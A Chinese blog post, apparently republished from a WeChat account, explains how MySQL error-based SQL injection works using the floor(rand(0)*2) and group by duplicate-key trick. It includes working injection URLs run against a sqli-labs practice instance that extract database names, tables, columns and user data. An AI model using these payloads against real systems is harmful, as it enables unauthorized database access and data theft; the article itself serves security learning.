前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >一条payload发生的事情(来自对报错注入的思考)

一条payload发生的事情(来自对报错注入的思考)

作者头像
Elapse
发布2020-08-17 11:36:47
1K0
发布2020-08-17 11:36:47
举报
文章被收录于专栏:E条咸鱼E条咸鱼

本文原创作者:RJ45

1、前言

最近在重新整理复现MYSQL注入天书,遇到了一条很有意思的报错注入的payload:

代码语言:javascript
复制
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

记录一下,对这个payload的逆向理解。

2、环境

3、约束与安全

在mysql中,无论是主键还是外键都有约束的设置,其属性有两个:非空性和唯一性,也即我们常说的非空唯一。唯一性表现为 在插入一条数据时,如果数据中的主键与表中某条数据的主键相同,则插入不成功,同时mysql会返回错误的信息。在对错误信息的处理和返回过程中,mysql的底层代码实现将插入不成功的那条数据对应的主键返回到了错误信息里面,由此产生了一个安全性的问题----暴露出了表中已存在的那条数据的主键。

4、子查询控制主键位置

如何利用约束造成的错误带来的泄露问题?一个本质问题是:

我们能控制什么?我们能控制暴露出存在主键约束的表的已知数据的主键。(通过输入点,也就是构造与已知数据主键相同的数据插入,从而报错暴露出主键) 我们要获得什么?从控制点的形式来看(一个数据显示点),我们要获得的只能是数据库中的数据信息。

怎么样才能通过我们能控制的来获取我们要获得的?一个方法是子查询控制主键位置。子查询是指一个查询语句嵌套在另一个查询语句内部的查询。

在执行查询语句的时候,首先会执行子查询中的语句,然后将返回的结果作为外层查询的过滤条件。

我们期望,子查询语句为我们想要获取的信息的sql语句,外层sql语句存在含有主键唯一性的表,接着设置子查询语句于主键字段位置,构造主键唯一性冲突,将报错信息回显出来。

要做到这一步,需要解决两个问题:

1 在实际的攻击中,表的主键字段是未知的,获取主键字段将是一个难以解决的问题。2 如何设置子查询语句与主键字段之间产生唯一性冲突并且将数据泄露出来,也是一个需要解决的问题。

验证失败:

5、集合函数和group by建立虚表

解决第一个问题的思路在于:

既然实表中主键字段存在未知可能,那么建立一个可以控制主键的虚表如何。

mysql中的虚拟表分为临时表、内存表和视图。内存表和视图显然不适合此种情景。

而临时表的建立有两种方式,一是以实表命名为tmp等,然后在使用完后手动删除。另一种是以聚合函数和group+by的方式建立临时表。

在mysql的中文文档中有这么一句话:

由此,通过集合函数和group+by建立一个可以控制主键的虚表,成为可能:

可以看到,下面的sql语句在表 Rj45的数据条数的基础上,利用count()函数和group by建立了一张主键为 database()的虚表

由于 Rj45表,不具有普遍性,参考mysql的基本库,修改为基本库中的表

mysql.user、information_schema.schemata、information_schema.tables和information_schema.columns

6、随机因子构造主键唯一性冲突报错

第二个问题:如何设置子查询语句与主键字段之间产生唯一性冲突。

主键字段现在我们已经可以控制,需要构造唯一性冲突错误,那么就需要在虚表的建立过程中主键字段存在不一样的数值,并且在基于基本库中的表的数据条数不少于3条,如此在第三次查询建立虚表数据的过程中才会保证主键唯一性冲突的可能。

故,第一:在mysql.user、information_schema.schemata、information_schema.tables和information_schema.columns中,根据数据条目的多少和普遍程度,冲突的可能性越来越大。(难说有没有存在一个mysql中只有一个库、一个表的存在的情况,不过一个字段就绝对不会出现) 保险起见,最好以information_schema.columns为基础,建立虚表。

第二:如何使得虚表在建立的过程中,主键字段存在不一样的数值。

一个想法是利用mysql的随机函数rand(),该函数会在0和1之间随机产生数据

在随机函数的基础上添加rand()*2,然后结合floor()函数,该函数的作用是在数据中返回整数部分,就可以构造出随机的0和1两组数据

在验证过程中,发现虽然达到了预期的结果,可是报错存在不确定性(一会报错,一会正常),并且报错的主键数据值也不稳定(一会为0,一会为1)。

添加随机因子,保证唯一性冲突报错的稳定性

在虚表建立的过程中产生的主键唯一性冲突报错的理解:

代码语言:javascript
复制
select count(*),floor(rand(0)*2)x from information_schema.columns group by x;

这条payload在以informationschema.columns为基础建立虚表的过程中,由于informationschema.columns 表存在大量数据条目,故count(*)函数需要进行多次顺序的查询,然后以此作为虚表中的字段数据。虚表中主键字段为x即floor(rand(0)*2),其在多次查询过程中,会产生0或者1,并且依照固定的顺序产生。

由此,在虚表建立的过程中:当产生主键数据值为0的时候,count(*)为1, 当产生主键数据值为1的时候,count(*)为1, 当产生主键数据值为1的时候,虚表中已经存在为1的主键数据值,此时发生主键唯一性冲突,进而产生报错。

7、精准控制数据于主键位置泄露

虚表已经建立,主键已经冲突,那么如何将数据通过主键位置泄露出来?

要想通过主键位置泄露数据,那么必须将目标sql语句嵌套到主键floor(rand(0)*2)中,或者说由于查询的过程中目标sql执行的都是相同的结果,不同的只在于主键数据值的区别,直接将目标sql与主键通过concat()函数连接,一起成为新主键,也可以达到利用效果。

代码语言:javascript
复制
select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;

sqli-labs实战环境验证:

代码语言:javascript
复制
获取当前数据库
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select database()),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取当前数据库

代码语言:javascript
复制
获取所有数据库

http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select schema_name from information_schema.schemata limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据表

代码语言:javascript
复制
获取数据表

http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select table_name from information_schema.tables  where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据表

代码语言:javascript
复制
获取数据字段

http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据字段

代码语言:javascript
复制
获取数据
http://192.168.3.21/Less-5/?id=1' union select null,count(*),concat((select username from security.users limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x--+

获取数据

8、除了唯一性,非空性可以吗

非空环境:

非空性限制不存在利用空间

9、除了主键约束冲突带来的泄露,还有其他同性质的问题吗?

代码语言:javascript
复制
select count(*),concat((select database()),0x3a,floor(rand(0)*2)) x from information_schema.columns group by x;

该payload的本质其实是mysql在处理这类错误的时候,将主键键冲突的那个主键,报错抛出到错误信息中,从而使得我们可以通过floor(rand(0)*2)这个手段,结合information_schema.columns表,将目标信息通过主键位置泄露出来。

那么,是否存在其他同性质的问题即在错误信息中包含有信息泄露?

答案是有的!可以看到,当我尝试访问一个数据库中不存在的表的时候,其发生了报错,将当前库抛出到错误信息中,从而造成同样性质的问题的出现。

其利用与前面论证过的过程相同

10、除了这种在代码实现中动态嵌套错误回返回信息,还有其他可以控制的问题吗?

我觉得,应该值得研究。这个漏洞与pwn中的格式化字符串漏洞类似。https://www.mysqlzh.com/

参考

https://blog.csdn.net/u012364631/article/details/79408204 https://bugs.mysql.com/bug.php?id=82544 http://www.anquan.us/static/drops/tips-14312.html

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 E条咸鱼 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1、前言
  • 2、环境
  • 3、约束与安全
  • 4、子查询控制主键位置
  • 5、集合函数和group by建立虚表
  • 6、随机因子构造主键唯一性冲突报错
  • 7、精准控制数据于主键位置泄露
  • 9、除了主键约束冲突带来的泄露,还有其他同性质的问题吗?
  • 10、除了这种在代码实现中动态嵌套错误回返回信息,还有其他可以控制的问题吗?
  • 参考
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档